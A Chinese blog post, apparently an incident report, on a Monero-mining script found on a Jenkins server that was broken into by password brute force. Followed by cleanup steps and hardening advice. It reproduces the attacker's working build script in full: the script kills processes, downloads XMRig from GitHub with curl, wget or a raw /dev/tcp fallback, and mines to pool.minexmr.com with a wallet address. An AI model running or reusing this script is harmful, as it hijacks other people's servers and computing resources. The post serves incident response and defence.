線上jenkins服務器中挖坑病毒解決方案

防僞碼：三十功名塵與土，八千里路雲和月。

公元2020/04/16 4：38分，登陸線上服務器，執行top命令執行，發現已經崩了......

咱們的jenkins數據是從廣州研發部copy過來的，包括job和plugins目錄，和廣州肯定了，下圖三個項目和他們無關。

查看控制檯構建輸出日誌，發現直接把cpu搞崩了

而後看這個莫名其妙的未知項目，發現裏面有腳本配置：

#!/bin/bash
if [[ $(whoami) != "root" ]]; then
    for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
        kill -9 $tr || : ;
    done;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
_curl () {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
rm -rf config.json;
d () {
 curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
}

test ! -s trace && \
    d https://github.com/xmrig/xmrig/releases/download/v5.5.2/xmrig-5.5.2-xenial-x64.tar.gz trace.tgz && \
    tar -zxvf trace.tgz && \
    mv xmrig-5.5.2/xmrig trace && \
    rm -rf xmrig-5.5.2 && \
    rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 100 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads ${threadCount:-4} \
        --url $1 \
        --user 49RaGEt31SBcxHgJXcZ6HP9b3rrCSRoAYYVuRdjQVhpsUjh2gh9R6xMKshXL9oBQ7JPjF6A21PuxbbDhbjAuTuKT3s7ioo9 \
        --pass x \
        --keepalive
}
k pool.minexmr.com:4444

此時只須要禁用該workspace，並關閉已啓動的進程便可，服務器就此恢復正常

此時，發現jenkins服務由於物理內存不足啓動報錯了：

凌晨在不影響用戶的狀況下重啓了實例，jenkins和nacos服務都正常：

後端：

前端：

網上看了不少前輩的經驗，回頭總結一下發現，整個安全事件的根本緣由在於Jenkins的沒有設置密碼驗證機制，密碼輸入錯誤後能夠立刻無間斷的再次輸入，且沒有輸入次數限制，該安全隱患在安裝Jenkins之處的時候就已經發現了，可是當時沒有處理，所以給hacker暴力破解提供了可能性，剩下的就簡單多了，hacker暴力破解後，建立了一個workspace，並編寫build腳本，並在服務器上安裝挖礦程序，而後推出。索性是夜間出了問題，我及時發現，而後當即去jenkins開啓安全設置。

檢查crontab任務是否有異常，發現並沒有異常。

準確講這並不算一個病毒，只是別人利用密碼驗證機制的漏洞，經過Jenkins在服務器上部署了一個佔用資源很是龐大的應用程序，客觀的說這個應用程序對系統也是無害的，但從安全角度上講，kacker是有能力經過這一漏洞對系統進行破壞的，所幸的是這是一個線上聯調服務器，不會帶來直接的經濟損失，但此處被hack的經歷，確實暴漏出我對服務器安全的不重視，算是一次沒有「花錢」買的教訓。其實，安全只是相對的，沒有絕對的安全可言，仍是要提升意識，作好監控，作到及時發現，及時響應！

建議辦法：

一、DNS 解析只作到公司DNS服務器上 不作外面的服務器 （我都不知道有這麼個網址 我怎麼黑啊）
二、服務器上作 vim /etc/host.deny 設置，寫上數量有限的IP 或者網段
三、果是經過ngx發佈 裏面也能夠設置黑白名單
四、只容許內網訪問（路由器和雲服務器的內外網打通）
五、下降權限
六、公網入口應用硬件防火牆，或者部署跳板機。
七、天天（9-18）能夠發佈，其餘時間發佈，須要有領導審批，由於通常都是夜裏黑你。